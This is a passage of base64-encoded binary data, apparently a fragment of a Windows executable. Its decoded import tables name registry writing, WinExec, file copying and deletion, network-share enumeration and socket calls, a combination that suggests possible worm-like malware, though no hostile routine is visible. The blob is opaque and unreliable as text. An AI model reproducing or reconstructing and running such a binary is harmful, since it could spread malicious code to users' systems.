DiAPIP3/rCB+BhogkgEeICYgICAhIMYCMCB5BjkgUgGGBpgGiAavBhggGSAcIB0gIiATIBQg qQYiIZEGOiBTAQwgDSC6BqAADAaiAKMApAClAKYApwCoAKkAvgarAKwArQCuAK8AsACxALIA swC0ALUAtgC3ALgAuQAbBrsAvAC9AL4AHwbBBiEGIgYjBiQGJQYmBicGKAYpBioGKwYsBi0G LgYvBjAGMQYyBjMGNAY1BjYG1wA3BjgGOQY6BkAGQQZCBkMG4ABEBuIARQZGBkcGSAbnAOgA 6QDqAOsASQZKBu4A7wBLBkwGTQZOBvQATwZQBvcAUQb5AFIG+wD8AA4gDyDSBqwg/f8aIP3/ HiAmICAgISD9/zAg/f85IP3/qADHArgA/f8YIBkgHCAdICIgEyAUIP3/IiH9/zog/f+vANsC /f+gAP3/ogCjAKQA/f+mAKcA2ACpAFYBqwCsAK0ArgDGALAAsQCyALMAtAC1ALYAtwD4ALkA VwG7ALwAvQC+AOYABAEuAQABBgHEAMUAGAESAQwByQB5ARYBIgE2ASoBOwFgAUMBRQHTAEwB 1QDWANcAcgFBAVoBagHcAHsBfQHfAAUBLwEBAQcB5ADlABkBEwENAekAegEXASMBNwErATwB YQFEAUYB8wBNAfUA9gD3AHMBQgFbAWsB/AB8AX4B2QKsIP3/GiCSAR4gJiAgICEgxgIwIP3/ OSBSAf3//f/9//3/GCAZIBwgHSAiIBMgFCDcAiIh/f86IFMB/f/9/3gBoAChAKIAowCkAKUA pgCnAKgAqQCqAKsArACtAK4ArwCwALEAsgCzALQAtQC2ALcAuAC5ALoAuwC8AL0AvgC/AMAA wQDCAAIBxADFAMYAxwDIAMkAygDLAAADzQDOAM8AEAHRAAkD0wDUAKAB1gDXANgA2QDaANsA 3ACvAQMD3wDgAOEA4gADAeQA5QDmAOcA6ADpAOoA6wABA+0A7gDvABEB8QAjA/MA9AChAfYA 9wD4APkA+gD7APwAsAGrIP8AACUCJQwlECUUJRglHCUkJSwlNCU8JYAlhCWIJYwlkCWRJZIl kyUgI6AlGSIaIkgiZCJlIqAAISOwALIAtwD3AFAlUSVSJVEEUyVUJVUlViVXJVglWSVaJVsl XCVdJV4lXyVgJWElAQRiJWMlZCVlJWYlZyVoJWklaiVrJWwlqQBOBDAEMQRGBDQENQREBDME RQQ4BDkEOgQ7BDwEPQQ+BD8ETwRABEEEQgRDBDYEMgRMBEsENwRIBE0ESQRHBEoELgQQBBEE JgQUBBUEJAQTBCUEGAQZBBoEGwQcBB0EHgQfBC8EIAQhBCIEIwQWBBIELAQrBBcEKAQtBCkE JwQqBAAAAAAE0wD8AQAAuAAAAAAAAAAAAAAAAAAAAAAAAAAANBBBAEAQQQBMEEEAWBBBAGQQ QQBwEEEAfBBBAIgQQQCUEEEAoBBBAKwQQQC4EEEAxBBBANAQQQDcEEEA6BBBAPQQQQAAEUEA DBFBAOQWQQDwFkEABBdBABQXQQAgF0EAFBdBADAXQQAgF0EAMBdBAEAXQQAgF0EAMBdBAEwX QQBcF0EATBdBAGwXQQBcF0EATBdBAHgXQQDwFkEAeBdBAIQXQQAgF0EAhBdBAJAXQQDwFkEA nBdBALAXQQBcF0EAvBdBANAXQQDwFkEA3BdBAOwXQQDwFkEA+BdBABAYQQDwFkEA+BdBABwY QQDwFkEA+BdBACgYQQDwFkEA+BdBADQYQQDwFkEA+BdBAAAAAAAAAAAAAAABDU1TIFNhbnMg U2VyaWYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOw3QQCAAAAA/DdBAACAAAAQOEEAgIAAACA4 QQAAAIAAMDhBAIAAgABAOEEAAICAAFQ4QQCAgIAAZDhBAMDAwAB0OEEA/wAAAIg4QQAA/wAA mDhBAP//AACoOEEAAAD/ALw4QQD/AP8AzDhBAAD//wDgOEEA////APA4QQAAAACAADlBAAEA AIAUOUEAAgAAgCw5QQADAACARDlBAAQAAIBgOUEABQAAgHA5QQAGAACAhDlBAAcAAICcOUEA CAAAgLA5QQAJAACAyDlBAAoAAIDgOUEACwAAgPg5QQAMAACAFDpBAA0AAIAsOkEADgAAgEA6 QQAPAACAWDpBABAAAIBsOkEAEQAAgIA6QQASAACAlDpBABMAAICoOkEAFAAAgMg6QQAVAACA 4DpBABYAAID4OkEAFwAAgAw7QQAYAACAIDtBAP///x80O0EAAAAAAHQ7QQABAAAAjDtBAAIA AACkO0EATQAAALw7QQCAAAAA0DtBAIEAAADsO0EAggAAAAQ8QQCGAAAAHDxBAIgAAAA0PEEA oQAAAFA8QQCiAAAAaDxBALEAAACAPEEAsgAAAJg8QQC6AAAAsDxBAMwAAADIPEEA3gAAAOA8 QQDuAAAA+DxBAP8AAAAUPUEAAAABAAIAAwAEAAUABgCLwAEAEAALAAYADQAEAA4ABQAMAAMA DwACAAkACAAHAAoAAAAAAAAAAAAAAAAAAAAAAIAAAAAAgAAAgIAAAAAAgACAAIAAAICAAICA gADAwMAA/wAAAAD/AAD//wAAAAD/AP8A/wAA//8A////AHRgQADkX0AAJF9AAMRgQAAEYUAA bGFAAJRgQABMtEAAGOBBABRgQAB8YUAABOBBAFRhQABMYEAAfGBAADy0QAA8X0AAXGFAADxh QABkYUAAEOBBAAxfQAC8X0AABF9AAJxgQABEX0AAxF9AADxgQAAUtEAANLRAAOxgQAAU4kEA DGFAAHDlQQAEYEAAVGBAACS0QAAI4EEALLRAAMxgQAAA4EEADOBBABDlQQBEtEAAFGFAAJxf QACkX0AAVLRAAExhQAAUX0AAXF9AAMxfQABstEAA/F9AALxgQAAMtEAABLRAACRgQADEs0AA 5GBAANxfQAD0XkAA1GBAAPRgQADks0AAXLRAANRfQABkYEAApGBAADRhQAD8s0AANF9AAHRf QADcYEAAhF9AAERhQAB8X0AAHLRAABxhQAAU4EEALGBAAPRfQAAA10EAdGFAAPxeQAAsX0AA HGBAAPxgQAAkYUAAQOBBACxhQAAMYEAA9LNAAERgQADMs0AAQuBBAATAQQDUs0AAjGBAADRg QACsYEAAhGFAAGxgQACUX0AA3LNAABxfQACsX0AAVF9AAExfQAC0YEAA7LNAAGRfQABcYEAA tF9AAIxfQABsX0AAqOVBAOxfQACEYEAAZLRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQ9AEAGPEBAAAAAAAAAAAAAAAAABz3AQDA8QEA AAAAAAAAAAAAAAAAYvcBANTxAQAAAAAAAAAAAAAAAACi9wEA5PEBAAAAAAAAAAAAAAAAADL4 AQAE8gEAAAAAAAAAAAAAAAAAlPgBABzyAQAAAAAAAAAAAAAAAAAW+QEAPPIBAAAAAAAAAAAA AAAAALr9AQBE8wEAAAAAAAAAAAAAAAAA5v0BAFDzAQAAAAAAAAAAAAAAAADQ/wEAxPMBAAAA AAAAAAAAAAAAAIIAAgD48wEAAAAAAAAAAAAAAAAAngACAAD0AQAAAAAAAAAAAAAAAACGAQIA SPQBAAAAAAAAAAAAAAAAAAAAAAAAAAAAXvQBAHT0AQCM9AEApPQBALz0AQDY9AEA5vQBAPb0 AQAC9QEAEPUBACD1AQA29QEATPUBAFj1AQBk9QEAcPUBAIL1AQCU9QEApvUBALj1AQDM9QEA 4vUBAPT1AQAE9gEAFvYBACT2AQA29gEAQvYBAFD2AQBc9gEAePYBAIr2AQCa9gEApvYBALL2 AQDE9gEA1PYBAOL2AQDy9gEAAPcBAA73AQAAAAAAKPcBADr3AQBI9wEAVvcBAAAAAABw9wEA hPcBAJT3AQAAAAAAsPcBAMb3AQDY9wEA6PcBAPj3AQAI+AEAHvgBAAAAAABA+AEATvgBAFz4 AQBq+AEAfvgBAAAAAACi+AEAtPgBAMj4AQDY+AEA5vgBAPj4AQAG+QEAAAAAACT5AQAw+QEA OvkBAFD5AQBg+QEAdPkBAHz5AQCQ+QEApPkBALb5AQDM+QEA3PkBAPD5AQD8+QEABvoBABb6 AQAu+gEASvoBAFr6AQBq+gEAevoBAIj6AQCW+gEAqPoBALz6AQDK+gEA3PoBAPT6AQAE+wEA HPsBADb7AQBI+wEAWPsBAG77AQCC+wEAlPsBAKj7AQC++wEA0PsBAOD7AQDw+wEABPwBABb8 AQAs/AEAQPwBAFb8AQBq/AEAgvwBAJb8AQCi/AEArPwBAL78AQDO/AEA4PwBAOz8AQAG/QEA Hv0BADL9AQBK/QEAWP0BAHD9AQB+/QEAjv0BAJr9AQCs/QEAAAAAAML9AQDS/QEAAAAAAPD9 AQAC/gEAEP4BACD+AQAq/gEANv4BAET+AQBU/gEAZP4BAHb+AQCC/gEAlP4BAK7+AQDA/gEA zv4BAN7+AQDq/gEAAv8BABL/AQAi/wEALv8BAEL/AQBS/wEAaP8BAHr/AQCQ/wEAqv8BAMD/ AQAAAAAA3P8BAOj/AQD2/wEABAACABAAAgAkAAIAMgACAEAAAgBIAAIAVgACAGYAAgB0AAIA AAAAAI4AAgAAAAAAqgACALgAAgDKAAIA2AACAOgAAgD8AAIADAECABYBAgAeAQIAKAECADAB AgA+AQIASgECAFIBAgBgAQIAbgECAHgBAgAAAAAAkgECAAAAAABrZXJuZWwzMi5kbGwAAAAA R2V0Q3VycmVudFRocmVhZElkAAAAAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgAAAExlYXZlQ3Jp dGljYWxTZWN0aW9uAAAAAEVudGVyQ3JpdGljYWxTZWN0aW9uAAAAAEluaXRpYWxpemVDcml0 aWNhbFNlY3Rpb24AAABWaXJ0dWFsRnJlZQAAAFZpcnR1YWxBbGxvYwAAAABMb2NhbEZyZWUA AABMb2NhbEFsbG9jAAAAAFZpcnR1YWxRdWVyeQAAAABXaWRlQ2hhclRvTXVsdGlCeXRlAAAA TXVsdGlCeXRlVG9XaWRlQ2hhcgAAAGxzdHJsZW5BAAAAAGxzdHJjcHluQQAAAGxzdHJjcHlB AAAAAExvYWRMaWJyYXJ5RXhBAAAAAEdldFRocmVhZExvY2FsZQAAAEdldFN0YXJ0dXBJbmZv QQAAAEdldFByb2NBZGRyZXNzAAAAAEdldE1vZHVsZUhhbmRsZUEAAAAAR2V0TW9kdWxlRmls ZU5hbWVBAAAAAEdldExvY2FsZUluZm9BAAAAAEdldExhc3RFcnJvcgAAAABHZXRDb21tYW5k TGluZUEAAABGcmVlTGlicmFyeQAAAEZpbmRGaXJzdEZpbGVBAAAAAEZpbmRDbG9zZQAAAEV4 aXRQcm9jZXNzAAAAV3JpdGVGaWxlAAAAVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAAAAFNl dEZpbGVQb2ludGVyAAAAAFNldEVuZE9mRmlsZQAAAABSdGxVbndpbmQAAABSZWFkRmlsZQAA AABSYWlzZUV4Y2VwdGlvbgAAAABHZXRTdGRIYW5kbGUAAAAAR2V0RmlsZVNpemUAAABHZXRT eXN0ZW1UaW1lAAAAR2V0RmlsZVR5cGUAAABDcmVhdGVGaWxlQQAAAENsb3NlSGFuZGxlAHVz ZXIzMi5kbGwAAAAAR2V0S2V5Ym9hcmRUeXBlAAAATG9hZFN0cmluZ0EAAABNZXNzYWdlQm94 QQAAAENoYXJOZXh0QQBhZHZhcGkzMi5kbGwAAAAAUmVnUXVlcnlWYWx1ZUV4QQAAAABSZWdP cGVuS2V5RXhBAAAAUmVnQ2xvc2VLZXkAb2xlYXV0MzIuZGxsAAAAAFZhcmlhbnRDaGFuZ2VU eXBlRXgAAABWYXJpYW50Q29weUluZAAAAABWYXJpYW50Q2xlYXIAAAAAU3lzU3RyaW5nTGVu AAAAAFN5c0ZyZWVTdHJpbmcAAABTeXNSZUFsbG9jU3RyaW5nTGVuAAAAU3lzQWxsb2NTdHJp bmdMZW4Aa2VybmVsMzIuZGxsAAAAAFRsc1NldFZhbHVlAAAAVGxzR2V0VmFsdWUAAABMb2Nh bEFsbG9jAAAAAEdldE1vZHVsZUhhbmRsZUEAAAAAR2V0TW9kdWxlRmlsZU5hbWVBAABhZHZh cGkzMi5kbGwAAAAAUmVnU2V0VmFsdWVFeEEAAAAAUmVnUXVlcnlWYWx1ZUV4QQAAAABSZWdP cGVuS2V5RXhBAAAAUmVnRmx1c2hLZXkAAABSZWdDcmVhdGVLZXlFeEEAAABSZWdDbG9zZUtl eQAAAEdldFVzZXJOYW1lQQAAa2VybmVsMzIuZGxsAAAAAFdyaXRlRmlsZQAAAFdpbkV4ZWMA AABXYWl0Rm9yU2luZ2xlT2JqZWN0AAAAVmlydHVhbFF1ZXJ5AAAAAFZlckxhbmd1YWdlTmFt ZUEAAAAAU2xlZXAAAABTZXRUaHJlYWRQcmlvcml0eQAAAFNldFByaW9yaXR5Q2xhc3MAAAAA U2V0RmlsZVBvaW50ZXIAAAAAU2V0RmlsZUF0dHJpYnV0ZXNBAAAAAFNldEVuZE9mRmlsZQAA AABSZW1vdmVEaXJlY3RvcnlBAAAAAFJlYWRGaWxlAAAAAE11bERpdgAAAABMb2FkTGlicmFy eUEAAAAATGVhdmVDcml0aWNhbFNlY3Rpb24AAAAASW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlv bgAAAEdsb2JhbFVubG9jawAAAABHbG9iYWxSZUFsbG9jAAAAR2xvYmFsSGFuZGxlAAAAAEds b2JhbExvY2sAAAAAR2xvYmFsRnJlZQAAAABHbG9iYWxGaW5kQXRvbUEAAABHbG9iYWxEZWxl dGVBdG9tAAAAAEdsb2JhbEFsbG9jAAAAR2xvYmFsQWRkQXRvbUEAAAAAR2V0V2luZG93c0Rp cmVjdG9yeUEAAAAAR2V0VmVyc2lvbkV4QQAAAEdldFVzZXJEZWZhdWx0TGFuZ0lEAAAAAEdl dFRpbWVab25lSW5mb3JtYXRpb24AAAAAR2V0VGhyZWFkTG9jYWxlAAAAR2V0VGVtcFBhdGhB AAAAAEdldFN5c3RlbURpcmVjdG9yeUEAAABHZXRTaG9ydFBhdGhOYW1lQQAAAEdldFByb2NB ZGRyZXNzAAAAAEdldE1vZHVsZUhhbmRsZUEAAAAAR2V0TW9kdWxlRmlsZU5hbWVBAAAAAEdl dExvY2FsZUluZm9BAAAAAEdldExvY2FsVGltZQAAAABHZXRMYXN0RXJyb3IAAAAAR2V0RGlz a0ZyZWVTcGFjZUEAAABHZXREYXRlRm9ybWF0QQAAAABHZXRDdXJyZW50VGhyZWFkSWQAAAAA R2V0Q3VycmVudFRocmVhZAAAAABHZXRDdXJyZW50UHJvY2Vzc0lkAAAAR2V0Q3VycmVudFBy b2Nlc3MAAABHZXRDdXJyZW50RGlyZWN0b3J5QQAAAABHZXRDb21wdXRlck5hbWVBAAAAAEdl dENQSW5mbwAAAEdldEFDUAAAAABGb3JtYXRNZXNzYWdlQQAAAABGaW5kTmV4dEZpbGVBAAAA RmluZEZpcnN0RmlsZUEAAAAARmluZENsb3NlAAAARmlsZVRpbWVUb0xvY2FsRmlsZVRpbWUA AABGaWxlVGltZVRvRG9zRGF0ZVRpbWUAAABFbnVtQ2FsZW5kYXJJbmZvQQAAAEVudGVyQ3Jp dGljYWxTZWN0aW9uAAAAAERlbGV0ZUZpbGVBAAAARGVsZXRlQ3JpdGljYWxTZWN0aW9uAAAA Q3JlYXRlRmlsZUEAAABDcmVhdGVFdmVudEEAAAAAQ29weUZpbGVBAAAAQ29tcGFyZVN0cmlu Z0EAAAAAQ2xvc2VIYW5kbGUAbXByLmRsbAAAAFdOZXRPcGVuRW51bUEAAABXTmV0RW51bVJl c291cmNlQQBnZGkzMi5kbGwAAABVbnJlYWxpemVPYmplY3QAAABTdHJldGNoQmx0AAAAAFNl dFRleHRDb2xvcgAAAABTZXRST1AyAAAAU2V0QmtNb2RlAAAAU2V0QmtDb2xvcgAAAABTZWxl Y3RQYWxldHRlAAAAU2VsZWN0T2JqZWN0AAAAAFJlYWxpemVQYWxldHRlAAAAAE1vdmVUb0V4 AAAAAEdldFRleHRNZXRyaWNzQQAAAEdldFN5c3RlbVBhbGV0dGVFbnRyaWVzAAAAR2V0U3Rv Y2tPYmplY3QAAAAAR2V0T2JqZWN0QQAAAABHZXREZXZpY2VDYXBzAAAAR2V0RElCaXRzAAAA R2V0Q3VycmVudFBvc2l0aW9uRXgAAAAAR2V0Qml0bWFwQml0cwAAAERlbGV0ZU9iamVjdAAA AABEZWxldGVEQwAAAABDcmVhdGVQZW5JbmRpcmVjdAAAAENyZWF0ZVBhbGV0dGUAAABDcmVh dGVGb250SW5kaXJlY3RBAAAAQ3JlYXRlRElCaXRtYXAAAAAAQ3JlYXRlQ29tcGF0aWJsZURD AAAAAENyZWF0ZUNvbXBhdGlibGVCaXRtYXAAAAAAQ3JlYXRlQnJ1c2hJbmRpcmVjdAAAAENy ZWF0ZUJpdG1hcAAAdXNlcjMyLmRsbAAAAABSZWxlYXNlREMAAABNZXNzYWdlQm94QQAAAExv YWRTdHJpbmdBAAAATG9hZEljb25BAAAAR2V0U3lzdGVtTWV0cmljcwAAAABHZXRTeXNDb2xv cgAAAEdldEljb25JbmZvAAAAR2V0REMAAABEcmF3SWNvbkV4AAAAAERlc3Ryb3lXaW5kb3cA AABEZXN0cm95SWNvbgAAAENyZWF0ZUljb24AAHNoZWxsMzIuZGxsAAAARXh0cmFjdEljb25B AAB3c29jazMyLmRsbAAAAFdTQVN0YXJ0dXAAAAAAV1NBR2V0TGFzdEVycm9yAAAAZ2V0aG9z dG5hbWUAAABnZXRzZXJ2YnluYW1lAAAAZ2V0cHJvdG9ieW51bWJlcgAAAABnZXRob3N0Ynlu YW1lAAAAc29ja2V0AAAAAHNlbmQAAAAAc2VsZWN0AAAAAHJlY3YAAAAAaW9jdGxzb2NrZXQA AABpbmV0X2FkZHIAAABodG9ucwAAAGdldHNvY2tuYW1lAAAAZ2V0cGVlcm5hbWUAAABjb25u ZWN0AAAAY2xvc2Vzb2NrZXQAd2luaW5ldC5kbGwAAABJbnRlcm5ldEdldENvbm5lY3RlZFN0 YXRlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEEIADBBCAMzkQQAQIEIAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAQAABIAQAAADAMMCwwODA8MEAwRDBIMEwwUDBUMGAwbTCAMK4wtjC+MMYwzjDWMN4w 5jDuMPYw/jAGMQ4xFjEeMSYxLjE2MT4xRjFOMVYxXjFmMW4xdjF+MYYxjjGWMZ4xpjGuMbYx vjHGMc4x1jHeMeYx7jH2Mf4xBjIOMjoyQjJKMlIyWjJiMmoycjJ7MpwypDIMMxMzWzTSNCE1 ZzV6NfA1NDZ1Nqk2tTbQNmM3sjjuOAs5FjkhOSk5Mzk9OUc5XTljOXE5hDmOOZQ5ojmoObA5 wjnOOd056TnxOfw5AjoPOhU6Lzo2OkA6SjpUOmA6azp8OoI6ijqUOqs6tjrXOu86DjsmOy47 bjuEO9M78zsRPCM9MD1jPWk9gj2LPZQ9nz2oPa89vj3FPec9QD5IPs0+6z7wPvY+Yj9oP3g/ gT/GP88/5T8AIAAA1AAAAAMwDzAXMEowdDCOMLgwwTDRMNkw3zDoMO8w9DD6MA0xFjE0MTox QjFsMXIxhDGcMagxsDHHMdYx5jEGMh4yQjJKMlAyVjKIMqwyyjLaMuAy6DJCM00zVjNcM2wz dTPGM80z3TPnM+0z9TP7MwE0CDQSNLk04TT/NAs1EzVtNXM1ezWeNbY11zXwNQk2HTYrNvM3 /jcHOPY4ATlSOpE6oTq3OtU66zoCOxc7UTv3PE49aj2ePdI9+j0YPls+iD6RPsM+zD4BPyk/ dz+7PwAwAABcAAAADzE3MVUxdzGoMbExvDHnMfwxRzJaMm4yojKqMrAyuTLEMg8zFDMtMzgz QDNLM10zYzNpM4IzlTOaM58zwTPPM9cz3DPuM/gz/TMLNLI0vjTvOAAAAEAAAFwAAABUMJww 2jA3MUYxXzHUMvQyOzNZMzo2hjaWNkk4Zzh9OMA41jgzOj06SDpYOl86sTrCOgI7CTsbOzk7 QjtOO1U7Djy6POM86jzxPLA96z06Pq0/AAAAUAAAzAEAAEIwSTBaMGYwvTARMYAxsjEQMksy 2DLwMgEzHDM0M0UzTjMfOCs4Mjg8OEs4VThfOHE4hziTOKE4qDivOLU4vDjDOMs41DjdOOU4 7zjzOPk4/TgDOQc5HzkkOS45MzlCOUw5VjljOXo5gjmKOZI5mjmsOd056TnyOfg5EjojOkY6 WzpkOmk6bjqJOpA6uzrHOtQ65jruOvY6/joGOw47FjseOyY7Ljs2Oz47RjtOO1Y7XjtmO247 djt+O4Y7jjuWO547pjuuO7Y7vjvGO8471jveO+Y77jv2O/47BjwOPBY8HjwmPC48Njw+PEY8 TjxWPF48ZjxuPHY8fjyGPI48ljyePKY8rjy2PL48xjzOPNY83jzmPO489jz+PAY9Dj0WPR49 Jj0uPTY9Pj1GPU49Vj1ePWY9bj12PX49hj2OPZY9nj2mPa49tj2+PcY9zj3WPd495j3uPfY9 /j0GPg4+Fj4ePiY+Lj42Pj4+Rj5OPlY+Xj5mPm4+dj7DPs8+3D7uPvQ+/D4EPww/FD8cPyQ/ LD80Pzw/RD9MP1Q/XD9kP2w/dD98P4Q/jD+UP5w/pD+sP7Q/vD/EP8w/1D/cP+Q/7D/0P/w/ AGAAAAwDAAAEMAwwFDAcMCQwLDA0MDwwRDBMMFQwXDBkMGwwdDB8MIQwjDCUMJwwpDCsMLQw vDDEMMww1DDcMOQw7DD0MPwwBDEMMRQxHDEkMSwxNDE8MUQxTDFUMVwxZDFsMXQxfDGEMZMx nzGsMb4xxDHUMewx9DEAMhQyHDIgMiQyKDIsMjAyNDI4MjwySjJcMnwyhDKIMowykDKUMpgy nDKgMqQyuDLYMuAy5DLoMuwy8DL0Mvgy/DIAMxQzNDM8M0AzRDNIM0wzUDNUM1gzXDNsM4wz lDOYM5wzoDOkM6gzrDOwM7QzxDPkM+wz8DP0M/gz/DMANAQ0CDQMNCQ0RDRMNFA0VDRYNFw0 YDRkNGg0bDR8NJw0pDSoNKw0sDS0NLg0vDTANMQ01DT0NPw0ADUENQg1DDUQNRQ1GDUcNSw1 TDVUNVg1XDVgNWQ1aDVsNXA1dDWINag1sDW0Nbg1vDXANcQ1yDXMNdA14DUANgg2DDYQNhQ2 GDYcNiA2JDYoNjg2WDZgNmQ2aDZsNnA2dDZ4Nnw2gDaQNrA2uDa8NsA2xDbINsw20DbUNtg2 6DYINxA3FDcYNxw3IDckNyg3LDcwN0A3YDdoN2w3cDd0N3g3fDeAN4Q3iDecN7w3xDfIN8w3 0DfUN9g33DfgN+Q3+DcYOCA4JDgoOCw4MDg0ODg4PDhAOFQ4dDh8OIA4hDiIOIw4kDiUOJg4 nDi0ONQ43DjgOOQ46DjsOPA49Dj4OPw4DDksOTQ5ODk8OUA5RDlIOUw5UDlUOWg5iDmQOZQ5 mDmcOaA5pDmoOaw5sDnAOeA56DnsOfA59Dn4Ofw5ADoEOgg6HDo8OkQ6SDpMOlA6VDpYOlw6 YDpkOnw6nDqkOqg6rDqwOrQ6uDq8OsA6xDrYOvg6ADsEOwg7DDsQOxQ7GDscOyA7NDtUO1w7 YDtkO2g7bDtwO3Q7eDt8O4w7rDu0O7g7vDvAO8Q7yDvMO9A71Dv4Oxw8KDw8PEQ8SDxMPFA8 VDxYPFw8YDxkPHI8xDzmPAI9GT1kP9I/AHAAAGAAAAABMDgwjjCZMD0zSjOOM8Iz9jP3NM42 TjhSOFY4WjheOGI4ZjhqOG44cjh2OHo4fjiCOIY4ijiOOJI47zn2Oa86EjwsPDY8mzzQPPY8 ED3vPag+yT7jPv0/AIAAAKwAAABrMVIyiDLaMgozbjO4M/MzAjRxNL80EDVlNWw1qTWtNbE1 tTW5Nb01wTXFNck1zTXRNdU12TXdNeE15TXONug2QzdnN3s3jzfANwI4FzgsOA45IjluOas5 6DkIOhk6MTphOnU6pTrbOgo7HjsyO0g7ZjvXO0w8rj3GPcs91z36PSc+LD5GPms+nT7XPuE+ Bz8jP0I/VD9+P5I/wz/SP+w//j8AAACQAADsAAAAODBYMIEw7TAYMTExPjFXMWYxfzGaMdQx pzLnMuwy9DIeMy8zODPtM/szGDQhNKo02TRoNaI16DX/NSE2LzY2Nk42VTZoNoA2nDajNqw2 5zYFNzA3PzdTN7Y3vTddOJA4qji5OHU5hznROeM59zlDOm86pDqzOsI63joXOyU7NDs+O0Y7 VTtfO2Q7ajtvO3U7ejuAO4c7jTuSO5g7nTujO6g7rju7O9k74jvuO/M7/DsIPA08FjwfPCg8 MTw6PGA8aTxyPHs8gDy6PNo8BD0ePTw9lD2zPfs9Ij5gPsg+cD95PwAAAKAAAKgBAAA0MEow czCBMJwwpTDAMNMw5jDvMAoxHTEmMUUxUzFyMYoxkzGnMbUxyTHnMQkyGDImMkkyazJ6Mooy kjKnMq8yzDLZMqgz4DPnM/Qz+zMVNEI0YjRyNH00gzSLNJA0/DQANgQ2CDYMNhA2FDYYNhw2 IDYkNig2LDYwNjQ2ODY8NkA2RDZINkw2UDZUNlg2XDZgNmQ2aDZsNnA2dDZ4Nnw2gDaENog2 jDaQNpQ2mDacNqA2pDaoNqw2sDa0Nrg2vDbANsQ2yDbMNtA21DbYNtw24DbkNuw28Db4Nvw2 BDcINxA3FDccNyA3KDcsNzQ3ODdAN0Q3TDdQN1g3XDdkN2g3cDd0N3w3gDeIN4w3lDeYN6A3 pDesN7A3uDe8N8Q3yDfQN9Q33DfgN+g37Df0N/g3ADgEOAw4EDgYOBw4JDgoODA4NDg8OEA4 SDhMOFQ4WDhgOGQ4bDhwOHg4fDiEOIg4kDiUOJw4oDioOKw4tDi4OMA4xDhROX05jzmTOZc5 mzmfOdg5+zkkOm46yTrXOvU6BjsaO0s7Zz6IPhU/Kj8AAACwAABoAwAAHzCoMM0wUzGbMacx sjHGMdEx2zHmMfAx+jEFMg8yGjIkMi8yOTJEMk4yWTJjMm0ydzKBMosylTKfMqkyszLFMtsy 5zLvMvkyBDMMMxEzNzNbM2czdDOGM5MznzOsM74zxDPMM9Qz3DPkM+wz9DP8MwQ0DDQUNBw0 JDQsNDQ0PDRENEw0VDRcNGQ0bDR7NIc0lDSmNN806zTyNPw0BzUZNSo1MDVQNVg1XDVgNWQ1 aDVsNXA1dDV4NYw1rDW0Nbg1vDXANcQ1yDXMNdA11DXoNQg2EDYUNhg2HDYgNiQ2KDYsNjA2 QDZgNmg2bDZwNnQ2eDZ8NoA2hDaINpg2uDbANsQ2yDbMNtA21DbYNtw24DbwNhA3GDccNyA3 JDcoNyw3MDc0Nzg3SDdoN3A3dDd4N3w3gDeEN4g3jDeQN6A3wDfIN8w30DfUN9g33DfgN+Q3 6DcAOCA4KDgsODA4NDg4ODw4QDhEOEg4XDh8OIQ4iDiMOJA4lDiYOJw4oDikOLw43DjkOOg4 7DjwOPQ4+Dj8OAA5BDkIOQw5EDkUOSA5QDlIOUw5UDlUOVg5XDlgOWQ5aDl4OYg5lDmYOaA5 pDmoOaw5sDm0Obg5vDnAOcQ5yDnMOdY52jnsOf05AToUOik6SDpUOlg6aDpwOnQ6eDp8OoA6 hDqIOow6kDqUOpg6nDqgOqQ6qDqsOrA6tDq4Orw6wDrEOsg6zDrQOtQ62DrcOuA65DroOuw6 8Dr0Ovg6/DoAOw47IDsuOzI7RDtdO2g7eDuIO5A7lDuYO5w7oDukO6g7rDuwO7Q7uDu8O8A7 xDvIO8w70DvUO9g73DvgO+Q76DvsO/A79Dv4O/w7ADwEPAg8DDwQPBQ8GDwcPCA8JDwoPCw8 MDw0PEQ8VTxZPGw8jDyUPJg8nDygPKQ8qDysPLA8tDy4PLw8wDzEPNA88Dz4PPw8AD0EPQg9 